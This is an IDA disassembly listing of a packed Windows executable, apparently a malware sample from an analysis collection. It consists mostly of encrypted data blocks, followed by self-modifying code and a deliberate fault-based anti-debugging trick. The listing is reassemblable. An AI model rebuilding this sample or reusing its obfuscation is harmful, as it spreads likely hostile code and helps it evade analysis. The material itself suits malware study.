; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : A7329924797CF76DB4929804CEFCC402 ; File Name : u:\work\a7329924797cf76db4929804cefcc402_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00000400 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 6F3000A1h, 0C0690040h, 30043FDh, 9EC30500h, 0B4A30027h dd 0E8C1000Fh, 7FFF2510h, 0C3050000h, 424448Bh, 81C311B0h dd 1902CECh, 0F8D5810h, 68501700h, 0FF050901h, 85511415h dd 0A0C48116h, 8B55C315h, 5756EC02h, 0C70875FFh, 0F800C14h dd 4589C8BEh, 5505B008h, 7503B00Ah, 85FCE00Bh, 0B82EC9h dd 27D0226h, 0FF85C803h, 85F805E1h, 85D0E1D2h, 6AF0E0F6h dd 0F9058301h, 0C75587Fh, 41751985h, 3D751780h, 5874F03Bh dd 50A1137h, 0F9813274h, 3380ACh, 0FF830A75h, 277E0F16h dd 7C200B04h, 0C01D1120h, 0FF810802h, 7407E2A8h, 0A90FC710h dd 0FE1E0A47h, 32027501h, 5D5E5FC0h, 0ACC78C69h, 93539600h dd 0A8858D16h, 0FF680070h, 63500071h, 85C1049Ch, 794275C0h dd 1010E715h, 33F88B80h, 0FE3BF6h, 478B2D74h, 7430390Ch dd 48B2602h, 0C730FF06h, 0D8400819h, 0B005E853h, 0B844038h dd 157559C0h, 0C683801Eh, 63C8304h, 0EBDC67B0h, 5D8B0300h dd 74DB8508h, 0EB530203h, 69FC6805h, 0C7FA29CEh, 7F385018h dd 80C95A5Bh, 10EC830Bh, 106A027Dh, 0DECE458Dh, 11447878h dd 0C48305ABh, 81C7660Ch, 6800020Eh, 2D3D36BDh, 933650F4h dd 0F2172966h, 0D001161Fh, 6AF40B07h, 0F81D2F08h, 66A10C1h dd 535B1B30h, 2C026A2Ch, 0F08BF878h, 30FE832Ch, 0EBE30458h dd 0B561D5Ah, 17565010h, 8317FC1Eh, 2EF9FFF8h, 1C380DDBh dd 0C35A8A51h, 8BF87081h, 0C24137Ch, 38CE8E57h, 0C00974C4h dd 8017756Dh, 19E1B03Fh, 0B0F7BC57h, 0B077408h, 8B0C408Bh dd 0E5301E1Fh, 8B058542h, 0BCBE9FC6h, 5FF1402h, 29F47734h dd 9C063516h, 68EC046Eh, 0D1406A14h, 7069E041h, 17A4C9CEh dd 71100868h, 40EB240Fh, 5FE29C2Ch, 5625E531h, 0B12BAA0h dd 20352E8Bh, 50592E16h, 42505811h, 0B7E5BBD6h, 93D1016h dd 1C7F0FEFh, 5E26501Ch, 0AAD6295Fh, 13033C1Eh, 2EDB3357h dd 2DD55364h, 0E8270C0Fh, 0D62C9E53h, 4291B72Ah, 2A620775h dd 36A61E9h, 752D3C8Fh, 840F8657h, 560EE093h, 0B2FD02E8h dd 871BC924h, 5FEF00Bh, 0B36F3868h, 11DF18DFh, 0B583Ah dd 0CE0C56CDh, 300958D8h, 0C4856078h, 7D0DFC59h, 0CF0CF207h dd 829CF436h, 2511C4Ch, 8D532476h, 16D33584h, 16718C9Dh dd 46B226F0h, 0DC6025F2h, 9EDC7259h, 0B020110h, 0E82404C7h dd 1E26FB77h, 1B30928h, 0C2A8575Eh, 1AB1F55Fh, 0CCEB0744h dd 35719D3Bh, 0EE9F790Ch, 0C409D23Eh, 91EC2068h, 0C988B133h dd 0FEFD6961h, 0D548AC0h, 188858C4h, 200480h, 60404041h dd 0EE7C2848h, 19606A2Ch, 68FF4C38h, 4063E41Bh, 8B12625Dh dd 8B9040EFh, 1C383FD1h, 0E1EFB4FCh, 0EEFF7C06h, 0F0CCDE1Eh dd 68096A21h, 31643B2Fh, 0D8E1BDACh, 206B7B45h, 48B3F75h dd 0D001E91Ah, 0FE4588E0h, 0E5FE1162h, 21AE4F42h, 9041D70h dd 218E23B3h, 79FF3CFFh, 2C6471EBh, 846D371Bh, 0DF3BD884h dd 93C497C7h, 687AC657h, 22B389B8h, 6DAB188Fh, 3914A737h dd 9C0F3CECh, 8B36EE0Ch, 534C8B43h, 0B200C39Ch, 93CAC90Ch dd 765A3D14h, 922F67Bh, 1D8B6B74h, 4B8B8DA5h, 0CC424B89h dd 1C0ACE61h, 118D32Dh, 40BF5752h, 85D99C06h, 0FF0CBC58h dd 31325759h, 6434ECBDh, 8DE3D66Eh, 58680465h, 0D8DF7962h dd 0B56A252Ch, 7413BA28h, 3BDE7424h, 0A39B6304h, 415A331Ch dd 8D46A028h, 0EEC5CB5h, 5C0EAC5Fh, 130C1106h, 0D26A1868h dd 10C0C0EBh, 264F4646h, 0CF0FE375h, 5804581Ch, 0B8424ACDh dd 0D6B1EFC4h, 0A1CB1505h, 833B234h, 0A1ECEAC1h, 0F20A6738h dd 8D5B4C6h, 0ED3E0627h, 4893B43Fh, 3C8E09A6h, 3EEFB4A8h dd 8E6C3FECh, 0EF6BACB4h, 0FB8EB43Fh, 0B53FFB3Ch, 9A8C921h dd 0CFFAE3FAh, 0E7DEA669h, 99993516h, 0DD034C0Ah, 0C7D069E2h dd 253B60AAh, 0C2E7366h, 0FB8305DFh, 80657401h, 60740204h dd 74DD068h, 0F0DC0EB6h, 9906816h, 0BEC53767h, 562FCB34h dd 0D2A3696Fh, 86568BF1h, 36F2EC51h, 981AE197h, 0B7E6FF8h dd 63CDB6Bh, 0C5681009h, 0D1888553h, 737C017h, 0DACBFE9h dd 48385FB4h, 60B757D3h, 586A2ABCh, 702C1604h, 0B49B8DDBh dd 45535E32h, 3C0E787Fh, 432DB7DBh, 6882DE60h, 746A6A2Ch dd 647B1274h, 16803AF7h, 70B13840h, 159DD6DEh, 0F1B7CD6Ch dd 87690D94h, 3B00D06Bh, 80EC7CCFh, 12B944A5h, 45066300h dd 1C52BEA0h, 3C39ADB4h, 31785876h, 0BD8EAABCh, 0D4971439h dd 0C54FE40Eh, 257F0074h, 0FC7D8908h, 0FCCD5ECCh, 0EADC5EB8h dd 0DE8F6E67h, 9FE7E0CAh, 6CE41D08h, 7FDCACE5h, 22E1C56h dd 0F2F03DD8h, 33653753h, 3C1CBBF0h, 0BB475311h, 73AC8F69h dd 3DB66248h, 0D77F6936h, 0C730FC17h, 6A1601E0h, 4417B72Ch dd 756D7ED7h, 73B71D28h, 83C16464h, 8E04C083h, 2DEF9E4Bh dd 89C72D50h, 6814B85Ch, 64482F68h, 0BB634553h, 1FA03A7Ch dd 3A4764B4h, 7D831B5Ch, 6317A20Ch, 16A34C05h, 1A7C6A5Dh dd 0E2E0F81Ch, 703565DBh, 0BC93B1A7h, 741B9D4Fh, 6D5285E1h dd 4410C362h, 0D86885E9h, 68622DADh, 0EFE06124h, 9E48EFEDh dd 0CF83985h, 590AA038h, 0EFF0B5B2h, 665B6C68h, 0B7EC875Ch dd 0C71B5A8Eh, 6A5076A4h, 730ADE70h, 802ABC59h, 0A5EC878h dd 977584ECh, 8784680Bh, 0C7A24863h, 3C71674Ch, 80E36C79h dd 519610FCh, 353B74B1h, 0FDCC227h, 6FA741D3h, 68147026h dd 14E7EB86h, 33E6DA48h, 0B52A32E3h, 66763AEBh, 0AF744C7Ch dd 8210B687h, 0C0599303h, 7559013Ah, 0D913BC60h, 1840BE6Bh dd 0C259FB15h, 0B374596Bh, 56F6CFAh, 0EB079958h, 3A222D5Fh dd 0F001A33Ch, 0D90AEB01h, 0F40BFBF8h, 8C4EE07h, 59780281h dd 0E4837C5Eh, 2C530871h, 0B85F8CDBh, 0E6030BDAh, 6AD3277h dd 7868D035h, 0DDDE0B82h, 12505917h, 6D9538Bh, 0B4087D8Bh dd 3803B40Ch, 2768FB1Ch, 711B0400h, 0D9B41518h, 5A48016h dd 0A7B79913h, 0F874C51Dh, 5CB41A9Dh, 563AD475h, 0DB71D43Dh dd 307C0C0Eh, 0D8CFEB6Ch, 64FCD8A3h, 0C1C471FBh, 202BCC36h dd 1C67D6FBh, 661B17E0h, 6A6031A1h, 8DFC41B1h, 78190267h dd 149C7B16h, 33D81A8Bh, 30DDC6FFh, 7D041E60h, 8002830Eh dd 89592B0Eh, 0C85CBD44h, 0A75750Fh, 0EE8450Bh, 0F750507h dd 730EC59h, 5F5A066Ah, 9D6A2D4Dh, 58474838h, 58062059h dd 4C7C4B59h, 0D44CEEB4h, 1AE85827h, 0D008B0A0h, 8E72CC1h dd 3CC0E05h, 0C808EC7Dh, 0B97A5468h, 1FDB182Dh, 0C3E047E0h dd 4CF3D20Dh, 7B8D1DFCh, 0BDE427B8h, 98E41334h, 2A746DCFh dd 80E7BA8Ch, 2BDB162Ch, 8E00CE1Eh, 0ECD841B3h, 57E3D88Fh dd 19CFEE3Ch, 0DA0A112Eh, 0F9DC5D89h, 7BBD820h, 3DF40D8Bh dd 3BDE9A36h, 5341EF8Ch, 6F0974ACh, 0EB0BC453h, 0F79E9F75h dd 90F1FBB6h, 0F62D3415h, 6D7B133Ah, 7B300E8Fh, 0F85A8230h dd 26594A74h, 86AD6B2Dh, 2C1D8B86h, 74594FD1h, 8A30B315h dd 4070F852h, 361B7501h, 23356580h, 9CA9966Ah, 0F4591453h dd 2D1FD6CDh, 3524DEEBh, 4E183FA7h, 8F02D67Fh, 0D9DCA3DCh dd 36EBBDC4h, 0F64437F9h, 0CBB7745Ah, 0BA763918h, 0F0BB303Ch dd 8F0F1000h, 351F6625h, 84A93790h, 0A27004C2h, 6C082474h dd 8A002057h, 74203C06h, 5093C04h, 0EB460375h, 0C5D43BF3h dd 0A20B1844h, 0DC00D5Fh, 0BF048D0Eh, 7C8D4600h, 0E5EBD041h dd 0A8C7618Bh, 33085654h dd 3F5657F6h, 5F088BA5h, 45E1D58h, 0B515B268h, 0C66C6ADFh dd 75891A57h, 51FBC4F0h, 0E13C9B6h, 97B3056Ah, 85960D00h dd 0B70B573Fh, 930A5656h, 4D417AE8h, 428C51FCh, 1B086818h dd 1638FC9h, 196AC638h, 46EB7978h, 541EE4DAh, 2D91E304h dd 32C47669h, 461B9DBEh, 0D92C20D6h, 0A6D59F0h, 0F8C2C747h dd 4C0FF85h, 81067DDCh, 4FD3C749h, 0C3093C47h, 0C657E8E8h dd 1F6A00C2h, 0F9F75999h, 0FFA0283h, 0B6E84D7Eh, 231E0FF6h dd 9916A6E8h, 0B0ECE8Bh, 0A9BE852h, 23D69071h, 3B3E17EBh dd 0B0788E17h, 16EB5753h, 1969E82Ch, 0E8AC5EE3h, 8E0A535Bh dd 91ADB748h, 0D546F220h, 0ECD423Bh, 4EF6B110h, 40365C3Ch dd 0BF640EB9h, 3711BA95h, 17C50F7Ch, 180EC52Bh, 7004CB50h dd 0D577C80Eh, 0C9B4A620h, 0BB35BD3Ch, 0E2D13284h, 4C5151C3h dd 483D2E58h, 68C9B011h, 5E6A4D94h, 3D22D796h, 193D6C44h dd 234C04B4h, 50106F93h, 76170C27h, 0A830D12h, 0D25A597Fh dd 8E10E858h, 1010F167h, 2DFD86D2h, 40674280h, 0B73D87h dd 0D73CA235h, 48B464CBh, 53CE4CEAh, 65680B1Fh, 0BBC2261Eh dd 5A863680h, 0F03F13F8h, 0EE754B04h, 0E3E75Bh, 0BB86884h dd 0EB0A6035h, 24CED9ECh, 69BE56E2h, 0DC740E00h, 9D8D568Dh dd 8DFBDCE2h, 50150BD6h, 1D5B5A0Dh, 5BC8005h, 5C0CC8DBh dd 13741361h, 4D681778h, 9B6D2FCCh, 0C81E23A9h, 137130EEh dd 0DC020C80h, 165E74C1h, 4E726313h, 745A9E6Bh, 2E10CE4Ch dd 53409C68h, 8011FF68h, 0FB6E8267h, 0ED0D7567h, 5C0017CBh dd 81D6CC8h, 0CA126C6h, 9DC5CA50h, 8B00ACCCh, 0C245400h dd 4244C8Bh, 74D21385h, 8A082A47h, 8B8CE644h, 720474E0h dd 0D900F72Dh, 7403E183h, 0D12B08h, 49470788h, 0C88BFA75h dd 8E0C105h, 6A3C103h, 83CAC210h, 0E905C0E2h, 2E067402h dd 5C3AABF3h, 0F74A2306h, 695F993Eh, 0E861D6E4h, 0C132F75Bh dd 145FE003h, 0B41018Ah, 4074C084h, 0F175C20Eh, 0E030DC75h dd 0FF03BA01h, 37EFEFEh, 33BF70D0h, 0C11B83C2h, 6DA904h dd 0E8748101h, 0FC5C418Bh, 8433322Bh, 0A9131EE4h, 133DB886h dd 0ADB69BCBh, 0CDEB0201h, 68FF418Dh, 0C12C2B55h, 0FE7509C3h dd 0FC67FD9Dh, 0B8D781EEh, 69C5729h, 104D31E3h, 0B88B5CCBh dd 0C603D100h, 276FE3Bh, 0FF83B08h, 7A387882h, 8CB6C7F7h dd 0E0CB145Dh, 8F983D1h, 0F3290072h, 9524FFA5h, 51CE23D8h dd 1CBAC72Dh, 80E98309h, 0E0830C0Dh, 0C8580303h, 0F0398517h dd 8D06C122h, 90C523E8h, 8B6C07CEh, 2C970400h, 23503C03h dd 0C8AD127h, 1468A01h, 62014788h, 56EE0205h, 0C6597108h dd 5CB3C7C5h, 5B8DACCCh, 259D2B49h, 271019Ch, 0D6A6D102h dd 2E23905Eh, 475A2146h, 0DE8C3A19h, 6CF5C3Fh, 0B403B9BCh dd 0A49EACE7h, 0E7949C79h, 3188AC8Ch, 6885E48Eh, 7CFE48Fh dd 0ECE83CE8h, 0F0CFECF3h, 0F3F4F03Ch, 3CF8CFF4h, 0FCF2FCF8h dd 348D6DB1h, 0F0030B9Ah, 0E26CF803h, 0F0D1FF8Bh, 0FC0373F0h dd 62410C7h, 5C08458Bh, 9DB49071h, 0F97C0BFAh, 0A3EB11FDh dd 0AEEDA0Dh, 748DA02Bh, 7C67B031h, 7FFC4F39h, 0DC2249Dh dd 0FCE3C5FDh, 257077C7h, 65859749h, 0EF252016h, 0F9A38FD6h dd 78A12BE3h, 2CA1DB24h, 0B728890h, 0D003E7A8h, 99036DB8h dd 36FC23Ah, 4F58E54Eh, 0BDB656A3h, 0B51F4BCEh, 0B1EEA3B8h dd 63CBEF02h, 90F2294Eh, 24F527DEh, 0B1EEABB8h, 0AE69EFABh dd 0E5A4531h, 2E5BFED6h, 2C5C0624h, 3CF33403h, 4C3C44CFh dd 0D767F354h, 1C1C3C67h, 0E71807B9h, 79149E18h, 10E71014h dd 0C790C9Eh, 9E08E708h, 97044F04h, 80C51FCBh, 38805CBh dd 0AC7A989Eh, 0B7E78BD6h, 0EE87ADB5h, 0E783D70Fh, 0B7F6D213h dd 0CCC01E8Dh, 83003D51h, 968D119Eh, 14151751h, 25B8C281h dd 10D02DDDh, 17B60185h, 84EC7326h, 0CC48B16h, 8BE18B0Bh dd 884019A5h, 0EFD2C38Ch, 56534130h, 61118A30h, 98841031h dd 8A006919h, 0F6840171h, 5D8B4F74h, 11919F7h, 0D038C930h dd 0D9157423h, 3A180B9Bh, 750A380Ah, 5B5EF518h, 0A0C3B4C5h dd 0EB75F010h, 0FF7E8D02h, 3902618Ah, 106628F7h, 0E03811E0h dd 8A17C475h, 6310341h, 0FF668A18h, 83101F67h, 0B1EBDF74h dd 34C2E419h, 90E0C28Ah, 478D9119h, 0C30CFF5Ch, 5D31DD9h dd 20111A1Ah, 57F2A053h, 26B0086Ah, 7D338D59h, 6A0BA2E0h dd 16002C07h, 0B60F01B3h, 101CCCAh, 0E8C1CF23h, 0CE3D203h dd 0CF056699h, 0A2461816h, 8BE57502h, 29460855h, 0CA8B0610h dd 8A4960A4h, 27BB6A02h, 5BCE1B61h, 0E3D32860h, 8AE798C1h dd 0E0354C01h, 774D984h, 42038270h, 8BE016EBh, 0A7921DAh dd 0CE236D1Eh, 580B242Ah, 5025E0D3h, 21B475C1h, 228000h dd 5FC38B42h, 5EC2012Bh, 0C01BD8F7h, 23556C89h, 565BC327h dd 8493898h, 8D6A0CEBh, 0FDDA24A4h, 5757C936h, 8E0FCF20h dd 1B7FA63Bh, 1A3E238Fh, 79810E3Bh, 600DEBFFh, 8EBFE04h dd 3EBFDE0h, 0C0C68E6h, 194C5FBEh, 92414E95h, 1788640Bh dd 0EEE06247h, 668905EBh, 42D7417h, 0F86EB967h, 0B5118B69h dd 2FE1976Bh, 0BBF3427h, 69C2F727h, 79F1265h, 38C7966Ah dd 668BEE67h, 0C5C6C608h, 0CAD0043h, 0F08808C5h, 0EC3D8307h dd 1FE6C58h, 68117E09h, 4CA71D07h, 21A7AEECh, 0E195471Ah dd 0D8B26B0h, 8137C3E0h, 2541048Bh, 0C6F8A307h, 2820306Ah dd 7D31E451h, 64046134h, 0B2434A1h, 25896450h, 1CD74B07h dd 89570858h, 0C563E865h, 0D233C1ACh, 5C31D48Ah, 93C2EA64h dd 765CE181h, 600D2E89h, 0E1C1210Dh, 0ACAA68Bh, 0E8025C1Dh dd 0E258A310h, 8EF63307h, 7D232998h, 8754281h, 0B701C6Ah dd 63595419h, 83C0E89h, 4DD25821h, 1A27F7A8h, 20B8D074h dd 40A316A0h, 1ECC096Fh, 9A1D8B38h, 0BC58AEB4h, 79C6D02Bh dd 838FA431h, 1674A4h, 9C458942h, 1D045F6h, 0F06F986h dd 18D445B7h, 58410AABh, 729C4F8Dh, 0BE9EA01Fh, 89302566h dd 0E91A34D8h, 0EC47568Ch, 8909011Fh, 5150984Dh, 0BE1B1071h dd 0C7E0FE69h, 0CBE89875h, 23C3F6BAh, 75C56F48h, 251BC405h dd 423E78Bh, 9AC42588h, 0D04F7066h, 0BB2FE76Ah, 0F859F224h dd 0E450B025h, 428D60D0h, 0C35BFF1Bh, 648DE25Dh, 0D36C06C8h dd 0D88B3153h, 0EBC4BD90h, 0B0BFC908h, 0A8A130Ah, 0D4384236h dd 0C984D102h, 12F05174h, 0B36ED75h, 0C3029CD8h, 5610E3C1h dd 0A8B08C1h, 4611B6BFh, 3319B6C1h, 0F96FC1CBh, 0B4FFF183h dd 33CF021Ah, 4C283C6h, 1BD06D64h, 256D1C75h, 6D39622h dd 817979Ch, 2345E681h, 4023AD80h, 0CDC05B11h, 38FC428Bh dd 367437D8h, 38EF0DA7h, 0AB3E93DCh, 0BC8DE793h, 0DCF31512h dd 385806CFh, 0E12DB396h, 77FE42B1h, 0FD9F0637h, 0D125FC1Dh dd 8D91C522h, 0F9658848h, 0C772638h, 72592FDEh, 52EB2F30h dd 5B83F599h, 0C12B0E3Ah, 0D1B68085h, 15644F6h, 0A5E8023h dd 0FE658005h, 0FC4D1060h, 0FD451B88h, 916A46Ah, 45FD380Dh dd 42CFC6Bh, 0BB0A4D8Dh, 51018413h, 3C559A50h, 17682701h dd 27566D0h, 0C6B89B8Ch, 452C230Ah, 0A111080Ch, 0CC347454h dd 0D0FF0203h, 73601068h, 30060888h, 68A41BC1h, 0E6804h dd 16DD4BEAh, 8A974FC3h, 0D11B0C3Ch, 100CB28Bh, 86DA0147h dd 395F047Fh, 0BAE3943Dh, 0FD691175h, 0D3B8A963h, 64B49E49h dd 3155CD83h, 18585C20h dd 903D2E89h, 1D881622h, 3C82288Ch, 83F150A1h, 4CEF6122h dd 8D56C074h, 3B02FC71h, 8B1372F0h, 0B097F206h, 5A3B047Ch dd 73022235h, 18685EEDh, 0D41494D1h, 5A682898h, 1C3B1020h dd 5BDB8580h, 7AB41075h, 4F86895Bh, 6198362Ah, 0E23B78A2h dd 0D60D73AAh, 4C60A57h, 5D34EDEBh, 53D85344h, 18D3FF1Ch dd 8B842047h, 0F79C0858h, 15AEDA15h, 5C8205FBh, 0E5086083h dd 807158EAh, 4343FC1Ch, 73F61938h, 98AE8700h, 4CE6266Fh dd 0C04D4369h, 8B0C0B3Bh, 24680448h, 1DC85B85h, 0CC6D701Ch dd 6D743865h, 56D10003h, 157DCA3Bh, 4916348Dh, 1704D12Bh dd 161200B5h, 3022683h, 754A0CC6h, 177E46F7h, 16107C35h dd 58338E3Dh, 0C72D0C9Bh, 830E0C05h, 70EB1300h, 0CE123B25h dd 3D5D8381h, 0E884BC91h, 933D3B4Ah, 378385CEh, 82BC8D3Dh dd 3D3B24E8h, 8386CE8Fh, 0A3923D11h, 0CB8AE30Ah, 6A6688FFh dd 2E8C888Ch, 56590AECh, 0FA74595Eh, 3911515Dh, 0E368A39Ah dd 0FFC83683h, 7BD14868h, 5D5BE1BCh, 1C671DC3h, 6D7078D9h dd 0F8671539h, 0B85616FDh, 0ED748B05h, 0B74EB4Fh, 0CC08300h dd 473C63Bh, 0FC104339h, 490C8D02h, 8D03C55Eh, 0C13B15A1h dd 89661269h, 0EDCE3EEDh, 1B003B74h, 0A3E8662Ch, 2330499Eh dd 25637522h, 74616A9h, 119B476Dh, 0A1C019F7h, 0A7602861h dd 46E60128h, 3E80E3EBh, 0C00D2162h, 203C0A07h, 704EC676h dd 5977200Ch, 28E534FAh, 890FD104h, 0DB80C685h, 39DB3353h dd 0CC5AB41Dh, 0C85BFD48h, 4EEFD25Ah, 0C33A2B80h, 3D3C01DEh dd 23470174h, 3966683Ch, 0EB01A3C0h, 4128DE8h, 0AC3C04BDh dd 8BB12C01h, 0F33B59F0h, 0B4740931h, 7448CCA5h, 72F4C09h dd 1413D5Ah, 39741F38h, 396C5755h, 59E8058Bh, 853F8045h dd 0B1552249h, 31C33B34h, 2E6E063Ch, 36FF5708h, 596EACB4h dd 359166Eh, 750537FDh, 0B7FF5DC9h, 82452D84h, 0B1D2B8Bh dd 5F1E8940h, 4487985Eh, 0E8017471h, 6B510BF1h, 9CBE85BDh dd 3C982BDBh, 53515623h, 69A18AB2h, 84A2C729h, 38FE8B82h dd 8B4D6118h, 6DE347F8h, 53530BF3h, 671E459Fh, 0A0260F8Bh dd 8816E54Bh, 0EA19A5D4h, 3EA1D6CFh, 392F7508h, 8624E127h dd 356A5650h, 2C27FC2Ch, 7B5A4814h, 0A39C856Ch, 3606D068h dd 184CE26Ch, 30141CC4h, 0B321839Bh, 616A6672h, 0A60C7D44h dd 8BE494DFh, 0C6786685h, 61393777h, 80146189h, 449B3038h dd 150048Ah, 0C6FA8040h, 583929BEh, 0D2BE3025h, 218216F6h dd 41B4772h, 1043D74h, 70C0F685h, 1688108Ah, 0B40462Dh dd 0EB8BD59Dh, 4620CCEh, 461D3180h, 1CC24069h, 11D943EBh dd 0C51E6D05h, 44834004h, 0E983F6DAh, 881819C0h, 65B8461Eh dd 9797420h, 9086009h, 75E0CC75h, 0BBD94803h, 0FF664AD8h dd 2C6580D8h, 684E0018h, 16C700h, 2BD14439h, 3276805h dd 6CF15EB1h, 0BCF7C817h, 0B558BD0h, 0C702FF14h, 59D73AD0h dd 5C22C085h, 16400475h, 92F7EB43h, 0C3F62C81h, 6196B201h dd 307D3941h, 0B800D6Dh, 8D220178h, 8B1D38E3h, 3815C263h dd 0C9C0837h, 18D26C33h, 940F1805h, 58089C2h, 0D38BEBD1h dd 0B2F934Bh, 4088430Eh, 465C06C6h, 754BB1B0h, 0C58AF335h dd 92834A29h, 0A37CB33Fh, 74C33F8Ah, 94C833Ah, 282E742Eh dd 0C9E2195Bh, 0E21FE506h, 406F0F1Bh, 0E315032Eh, 90384001h dd 309AD81Fh, 0EE80F9Ch, 3C7B8A6h, 8E274E83h, 4CE1442h dd 98A06CFBh, 0A019A149h, 0B5684070h, 0D1C2EDD0h, 0C0C9F633h dd 475A88Bh, 260ED51Bh, 1674330Bh, 0ED7421BAh, 5828EB36h dd 4730CC3Dh, 1798FB3Bh, 0C71BF7EAh, 215EBC02h, 62C87D40h dd 0A781E0C7h, 3F0C2F43h, 0F0C22738h, 8C1E3966h, 40EBE173h dd 18086040h, 6BCF975h, 0C62BF211h, 50C82F87h, 84F8D10Dh dd 5953408Eh, 8903C090h, 23342444h, 235D7FFh, 3274EB3Bh dd 0C2223237h, 0C223747Bh, 0B950551Ch, 257724BBh, 97A92B21h dd 10230C0Eh, 8B5CE527h, 0B1038B09h, 5C4728Fh, 53EBC38Bh dd 75028982h, 85A5CE4Ch, 7408B177h, 8B60C03Ch, 2C0A74C7h dd 5A7B3840h, 0F60504FBh, 9C40C72Bh, 945666Ah, 68CEDD9Bh dd 0EBF622B0h, 6DBA0B46h, 0EC8B90F5h, 0C0F6B1B3h, 67C63D68h dd 624089EBh, 7D9C5B01h, 894459ECh, 0D232394Bh, 0B3093EADh dd 1B327365h, 4015C3E6h, 1C189673h, 20787440h, 29B4868Dh dd 7336B4ACh, 4396D1Ah, 46C6B6C0h, 0A15A0A05h, 2DF56C23h dd 0A1B0508h, 5DB4E2EBh, 66CC52A6h, 73420973h, 0C5D2C575h dd 0E99C4417h, 23B9740Bh, 5DC8D30h, 0A00800B8h, 2E1C8D4Ah dd 76027C2Ch, 6335392Dh, 0BF527D02h, 8F4CEE44h, 380068E6h dd 57F835Eh, 888D0789h, 4F607EB6h, 0B9608018h, 40C7087Eh dd 0C10F8B0Ah, 0C1810876h, 0DDE47C6Ch, 7C49F0D5h, 6EB16BBh dd 30D4098Bh, 187EF6A5h, 38038B46h, 68A3614h, 0C1F6004Dh dd 47ECE01h, 0B75080Bh, 87949EA5h, 0C7D05825h, 0C1CF8B01h dd 0E18305F8h, 85045530h, 218CCFB4h, 0B8BC805h, 2FC80889h dd 47EB6088h, 0C3038345h, 7CFE3B04h, 0EC5067BAh, 0FFD83CC1h dd 31D8F258h, 3B964D75h, 81041900h, 0F66AB481h, 8861EB58h dd 198748C3h, 72F58D71h, 0F203D858h, 0B5571750h, 250C8D66h dd 9A3ECF68h, 800608D0h, 0EB6AC54Eh, 3F8BB84h, 50A1C77h dd 0C604EB08h, 30438005h, 2D7C0374h, 0B8B8FF9Bh, 0A5F5D436h dd 44BD84A9h, 6AB3C4C3h, 0F3987732h, 0B6A0A368h, 63C02E76h dd 17558C5Bh, 569128A3h, 2D2E5C37h, 0F752570h, 10A73CB3h dd 0AE901E1Dh, 4BCD8672h, 0FCD62140h, 0C25529E7h, 33D868D8h dd 309EF886h, 5DA13C11h, 0E58B3AC7h, 41CFD022h, 67004h dd 81D8DB8h, 0E73A0F74h, 8910F1B8h, 0CBB80235h, 0BD3EC347h dd 6AD96012h, 0E05C68FEh, 66B26440h, 0C3AF8B5Dh, 0A620193Ch dd 708B0A4Ah, 53440E0Ch, 24047F2Eh, 21C02874h, 0B30C8B76h dd 39858949h, 17844889h, 0B1C3B37Ch, 14431275h, 0B32D2D4Eh dd 9124027Dh, 8C054FFh, 8F64C3EBh, 0DE4932ABh, 0E7F38CA2h dd 0D0641964h, 5A79810Fh, 75236804h, 8151190Dh, 390C52A6h dd 5B13151h, 8AC19B6Dh, 8C8CBB51h, 0F671B385h, 61A86708h dd 33024B16h, 6B02D043h, 465B590Ch, 56EF7024h, 30320243h dd 30304358h, 816374Dh, 59FC89FAh, 0F7B99C18h, 6CE4405Bh dd 212DC7D9h, 4531C489h, 16DE4D10h, 21713EF8h, 87BC273h dd 8D61C1D0h, 0B1760C2Ch, 45748F70h, 8D555605h, 0A89C106Bh dd 5E5D2E0Bh, 0C40B4C41h, 3C783317h, 45C54125h, 0B38BBB23h dd 56961D04h, 2EFDCE0Ch, 6FB33608h, 938FDE8Fh, 558F164Ah dd 5D3B0C2Eh, 1AE03008h, 0EB8F348Bh, 0DBB8A12Dh, 0C91CEB0Bh dd 0D015EB62h, 0B5FF6A5Ch, 165D963Fh, 55A394D6h, 8B02754Eh dd 1C418B29h, 1803C250h, 0F324D650h, 350EA1E1h, 99CCA18Eh dd 832AF2B8h, 6AD43D1Ch, 21089DCCh, 0D800FC68h, 33C42538h dd 9ACBA4A1h, 0FFF0F159h, 592A156Ah, 9AA4C06Ch, 8550184h dd 0A0B8C933h, 983B3E39h, 428E0B90h, 303D4108h, 0F137E06Eh dd 5F18B56h, 3B03E6C1h, 871AA596h, 3A011C26h, 1EBC9B6Ch dd 0D70F3E8h, 0D71E10F7h, 75FA812Dh, 0F0F10B38h, 905C858Dh dd 10427E2h, 30E74D46h, 0C4171397h, 0D34F540Ch, 123E7CA3h dd 8D505705h, 3407A6BDh, 0C1404261h, 29763CC8h, 0E2211979h dd 0DF1F825h, 6A465883h dd 0F8030305h, 41CF0868h, 0FB351257h, 60858638h, 0DACDD385h dd 109F553Ah, 0B63C5712h, 0EAE81DF8h, 0B6FF2B05h, 16D3DFA4h dd 6805113Eh, 0F1012010h, 7CC06810h, 6E6A3527h db 0C0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_402839: ; CODE XREF: start-1777Fj jmp near ptr 8D67139Dh ; --------------------------------------------------------------------------- loc_40283E: ; CODE XREF: start+7j mov eax, offset loc_40284D add byte ptr [eax], 28h inc eax add dword ptr [eax], 1234567h loc_40284D: ; DATA XREF: start:loc_40283Eo nop test al, 52h sbb eax, 0FF6450FFh xor eax, 0 mov large fs:0, esp xor eax, eax mov [eax], ecx nop nop nop nop pop esi push esi db 2Eh push 0E7CE3324h db 67h jo near ptr 2891h mov al, ds:1BA31D9Ah push esi db 26h sti cwde in eax, 0F9h ; AT 80287 data. ; 286 sends opcodes & operands and receives results. jz short loc_402839 sbb [edi-69h], 